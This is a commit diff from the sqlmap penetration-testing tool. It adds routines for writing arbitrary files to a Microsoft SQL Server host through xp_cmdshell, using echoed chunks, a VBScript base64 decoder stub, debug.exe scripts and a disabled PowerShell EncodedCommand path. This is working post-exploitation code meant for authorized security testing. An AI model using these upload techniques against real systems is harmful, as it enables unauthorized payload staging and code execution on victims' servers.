Added support to create files with a visual basic script - no longer reliant on debug.exe so works on Windows 64-bit too. Fixes #236

This commit is contained in:
Bernardo Damele 2012-04-25 07:40:42 +00:00
parent 6116853025
commit 4da03d898e
3 changed files with 244 additions and 123 deletions

View File

@ -120,6 +120,35 @@ class xp_cmdshell:
threadData.disableStdOut = popValue() threadData.disableStdOut = popValue()
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
echoedLines = []
cmd = ""
charCounter = 0
maxLen = 512
if isinstance(fileContent, (set, list, tuple)):
lines = fileContent
else:
lines = fileContent.split("\n")
for line in lines:
echoedLine = "echo %s " % line
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine)
for echoedLine in echoedLines:
cmd += "%s & " % echoedLine
charCounter += len(echoedLine)
if charCounter >= maxLen:
self.xpCmdshellExecCmd(cmd)
cmd = ""
charCounter = 0
if cmd:
self.xpCmdshellExecCmd(cmd)
def xpCmdshellForgeCmd(self, cmd): def xpCmdshellForgeCmd(self, cmd):
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
self.__cmd = unescaper.unescape("'%s'" % cmd) self.__cmd = unescaper.unescape("'%s'" % cmd)

View File

@ -16,6 +16,8 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import posixToNtSlashes from lib.core.common import posixToNtSlashes
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import hexencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE from lib.core.enums import CHARSET_TYPE
@ -31,6 +33,55 @@ class Filesystem(GenericFilesystem):
def __init__(self): def __init__(self):
GenericFilesystem.__init__(self) GenericFilesystem.__init__(self)
def __dataToScr(self, fileContent, chunkName):
fileLines = []
fileSize = len(fileContent)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in xrange(0, len(fileContent), lineLen):
scrString = ""
for lineChar in fileContent[fileLine:fileLine+lineLen]:
strLineChar = hexencode(lineChar)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(lineChar)
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def __updateDestChunk(self, fileContent, tmpPath):
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
chunkName = randomStr(lowercase=True)
fileScrLines = self.__dataToScr(fileContent, chunkName)
logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm)
return chunkName
def unionReadFile(self, rFile): def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading " errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique" errMsg += "with UNION query SQL injection technique"
@ -120,32 +171,49 @@ class Filesystem(GenericFilesystem):
errMsg += "UNION query SQL injection technique" errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException(errMsg) raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
# NOTE: this is needed here because we use xp_cmdshell extended infoMsg = "using PowerShell to write the %s file content " % fileType
# procedure to write a file on the back-end Microsoft SQL Server infoMsg += "to file '%s', please wait.." % dFile
# file system. Maybe it won't be required to write text files logger.info(infoMsg)
self.initEnv()
self.getRemoteTempPath() randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
encodedFileContent = hexencode(wFileContent)
debugMsg = "going to use xp_cmdshell extended procedure to write " # TODO: need to be fixed
debugMsg += "the %s file content to file '%s'" % (fileType, dFile) psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile)
logger.debug(debugMsg) psString = psString.encode('utf-16le')
psString = psString.encode("base64")[:-1].replace("\n", "")
logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath)
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug("converting the file utilizing PowerShell EncodedCommand")
commands = ( "cd %s" % tmpPath,
"powershell -EncodedCommand %s" % psString,
"del /F /Q %s" % randFilePath )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm)
def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using debug.exe to write the %s " % fileType
infoMsg += "file content to file '%s', please wait.." % dFile
logger.info(infoMsg)
debugSize = 0xFF00
tmpPath = posixToNtSlashes(conf.tmpPath)
dFile = posixToNtSlashes(dFile)
dFileName = ntpath.basename(dFile) dFileName = ntpath.basename(dFile)
sFile = "%s\%s" % (tmpPath, dFileName)
wFileSize = os.path.getsize(wFile) wFileSize = os.path.getsize(wFile)
wFilePointer = codecs.open(wFile, "rb") debugSize = 0xFF00
wFileContent = wFilePointer.read()
wFilePointer.close()
if wFileSize < debugSize: if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, tmpPath) chunkName = self.__updateDestChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile)) debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
logger.debug(debugMsg)
commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
@ -153,45 +221,142 @@ class Filesystem(GenericFilesystem):
self.execCmd(complComm) self.execCmd(complComm)
else: else:
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) debugMsg = "the file is larger than %d bytes. " % debugSize
infoMsg += "bytes. sqlmap will split it into chunks, upload " debugMsg += "sqlmap will split it into chunks locally, upload "
infoMsg += "them and recreate the original file out of the " debugMsg += "it chunk by chunk and recreate the original file "
infoMsg += "binary chunks server-side, please wait.." debugMsg += "on the server, please wait.."
logger.info(infoMsg) logger.debug(debugMsg)
counter = 1
for i in xrange(0, wFileSize, debugSize): for i in xrange(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i + debugSize] wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath) chunkName = self.__updateDestChunk(wFileChunk, tmpPath)
if i == 0: if i == 0:
infoMsg = "renaming chunk " debugMsg = "renaming chunk "
copyCmd = "ren %s %s" % (chunkName, dFileName) copyCmd = "ren %s %s" % (chunkName, dFileName)
else: else:
infoMsg = "appending chunk " debugMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
logger.debug(infoMsg) logger.debug(debugMsg)
commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName)
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
self.execCmd(complComm) self.execCmd(complComm)
logger.info("file chunk %d written" % counter) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
counter += 1
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
self.execCmd(complComm) self.execCmd(complComm)
if confirm: def __stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
self.askCheckWrittenFile(wFile, dFile, fileType) infoMsg = "using a custom visual basic script to write the "
infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile)
logger.info(infoMsg)
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
vbs = """Dim inputFilePath, outputFilePath
inputFilePath = "%s"
outputFilePath = "%s"
Set fs = CreateObject("Scripting.FileSystemObject")
Set file = fs.GetFile(inputFilePath)
If file.Size Then
Wscript.Echo "Loading from: " & inputFilePath
Wscript.Echo
Set fd = fs.OpenTextFile(inputFilePath, 1)
data = fd.ReadAll
fd.Close
data = Replace(data, " ", "")
data = Replace(data, vbCr, "")
data = Replace(data, vbLf, "")
Wscript.Echo "Fixed Input: "
Wscript.Echo data
Wscript.Echo
decodedData = base64_decode(data)
Wscript.Echo "Output: "
Wscript.Echo decodedData
Wscript.Echo
Wscript.Echo "Writing output in: " & outputFilePath
Wscript.Echo
Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
ofs.Write decodedData
ofs.close
Else
Wscript.Echo "The file is empty."
End If
Function base64_decode(byVal strIn)
Dim w1, w2, w3, w4, n, strOut
For n = 1 To Len(strIn) Step 4
w1 = mimedecode(Mid(strIn, n, 1))
w2 = mimedecode(Mid(strIn, n + 1, 1))
w3 = mimedecode(Mid(strIn, n + 2, 1))
w4 = mimedecode(Mid(strIn, n + 3, 1))
If Not w2 Then _
strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
If Not w3 Then _
strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
If Not w4 Then _
strOut = strOut + Chr(((w3 * 64 + w4) And 255))
Next
base64_decode = strOut
End Function
Function mimedecode(byVal strIn)
Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
If Len(strIn) = 0 Then
mimedecode = -1 : Exit Function
Else
mimedecode = InStr(Base64Chars, strIn) - 1
End If
End Function""" % (randFilePath, dFile)
vbs = vbs.replace(" ", "")
encodedFileContent = wFileContent.encode("base64")[:-1]
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
commands = ( "cd %s" % tmpPath, "cscript //nologo %s" % randVbs,
"del /F /Q %s" % randVbs,
"del /F /Q %s" % randFile )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
self.initEnv()
self.getRemoteTempPath()
tmpPath = posixToNtSlashes(conf.tmpPath)
dFile = posixToNtSlashes(dFile)
wFilePointer = codecs.open(wFile, "rb")
wFileContent = wFilePointer.read()
wFilePointer.close()
self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
sameFile = self.askCheckWrittenFile(wFile, dFile, fileType)
if sameFile is False:
message = "do you want to try to upload the file with "
message += "another technique? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice.lower() == "y":
self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
#self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)

View File

@ -18,6 +18,7 @@ from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import hexdecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import DBMS from lib.core.enums import DBMS
@ -36,11 +37,6 @@ class Filesystem:
self.fileTblName = "sqlmapfile" self.fileTblName = "sqlmapfile"
self.tblField = "data" self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr): def __unhexString(self, hexStr):
if len(hexStr) % 2 != 0: if len(hexStr) % 2 != 0:
errMsg = "for some reason(s) sqlmap retrieved an odd-length " errMsg = "for some reason(s) sqlmap retrieved an odd-length "
@ -51,49 +47,13 @@ class Filesystem:
return hexStr return hexStr
try: try:
cleanStr = binascii.unhexlify(hexStr) cleanStr = hexdecode(hexStr)
except TypeError, e: except TypeError, e:
logger.critical("unable to unhex the string ('%s')" % e) logger.critical("unable to unhex the string ('%s')" % e)
return None return None
return cleanStr return cleanStr
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
fileLines = []
fileSize = len(binaryData)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in xrange(0, len(binaryData), lineLen):
scrString = ""
for lineChar in binaryData[fileLine:fileLine+lineLen]:
strLineChar = binascii.hexlify(lineChar)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(lineChar)
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType): def __checkWrittenFile(self, wFile, dFile, fileType):
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
@ -113,6 +73,7 @@ class Filesystem:
logger.debug("checking if the %s file has been written" % fileType) logger.debug("checking if the %s file has been written" % fileType)
dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) dFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
sameFile = None
if isNumPosStrValue(dFileSize): if isNumPosStrValue(dFileSize):
infoMsg = "the file has been successfully written and " infoMsg = "the file has been successfully written and "
@ -121,18 +82,23 @@ class Filesystem:
dFileSize = long(dFileSize) dFileSize = long(dFileSize)
if wFileSize == dFileSize: if wFileSize == dFileSize:
sameFile = True
infoMsg += ", same size as the local file '%s'" % wFile infoMsg += ", same size as the local file '%s'" % wFile
else: else:
sameFile = False
infoMsg += ", but the size differs from the local " infoMsg += ", but the size differs from the local "
infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize) infoMsg += "file '%s' (%d bytes)" % (wFile, wFileSize)
logger.info(infoMsg) logger.info(infoMsg)
else: else:
sameFile = False
warnMsg = "it looks like the file has not been written, this " warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write " warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path" warnMsg += "privileges in the destination path"
logger.warn(warnMsg) logger.warn(warnMsg)
return sameFile
def fileToSqlQueries(self, fcEncodedList): def fileToSqlQueries(self, fcEncodedList):
""" """
Called by MySQL and PostgreSQL plugins to write a file on the Called by MySQL and PostgreSQL plugins to write a file on the
@ -190,47 +156,6 @@ class Filesystem:
return fcEncodedList return fcEncodedList
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
randScr = "tmpf%s.scr" % randomStr(lowercase=True)
chunkName = randomStr(lowercase=True)
fileScrLines = self.__binDataToScr(binaryData, chunkName)
forgedScrLines = []
cmd = ""
charCounter = 0
maxLen = 512
logger.debug("generating binary file %s\%s, please wait.." % (tmpPath, chunkName))
for scrLine in fileScrLines:
forgedScrLine = "echo %s " % scrLine
forgedScrLine += ">> \"%s\%s\"" % (tmpPath, randScr)
forgedScrLines.append(forgedScrLine)
for forgedScrLine in forgedScrLines:
cmd += "%s & " % forgedScrLine
charCounter += len(forgedScrLine)
if charCounter >= maxLen:
self.execCmd(cmd)
cmd = ""
charCounter = 0
if cmd:
self.execCmd(cmd)
commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm, silent=True)
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType): def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS " message += "has been successfully written on the back-end DBMS "
@ -238,7 +163,9 @@ class Filesystem:
output = readInput(message, default="Y") output = readInput(message, default="Y")
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType) return self.__checkWrittenFile(wFile, dFile, fileType)
return True
def unionReadFile(self, rFile): def unionReadFile(self, rFile):
errMsg = "'unionReadFile' method must be defined " errMsg = "'unionReadFile' method must be defined "